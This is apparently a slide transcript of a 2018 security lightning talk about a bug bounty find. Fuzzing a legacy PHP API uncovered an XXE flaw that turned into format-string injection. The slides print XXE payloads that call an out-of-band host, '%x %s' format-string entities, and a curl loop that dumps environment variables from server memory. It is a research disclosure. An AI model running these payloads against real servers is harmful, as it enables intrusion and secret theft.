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Web based format injection, dumping memory like...
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Frans Rosén
September 19, 2018
Research
0
150
Web based format injection, dumping memory like it's 99 (or "Please help")
My lightning talk from Sec-T Stockholm in September 2018.
Frans Rosén
September 19, 2018
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Transcript
@fransrosen Web based format injection, dumping memory like it's 99
or "Please help"
@fransrosen Public Bug Bounty
@fransrosen RCE is 30,000 USD
@fransrosen Methodology • Found a domain not like the other
ones
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available 👍 👍 👍
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! Interesting
path: /cgi-bin/default/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! /cgi-bin/default/php/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/php/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen xml_api?
@fransrosen xml_api?
@fransrosen xml_api? YEAH! 👍
@fransrosen wtf!?
@fransrosen XXE!
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> ???
@fransrosen
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> WOAH.
@fransrosen Format String Injection?
@fransrosen Format String Injection ON ZE WEB?
@fransrosen Format String Injection http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen I can’t handle this shit
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Limitations 0x20-0xFF (no 0x22)
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Want to collaborate? @fransrosen
@fransrosen Questions? Suggestions?
fransrosen
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![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_27.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_28.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_33.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_34.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_35.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_36.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_37.jpg){kind=link}
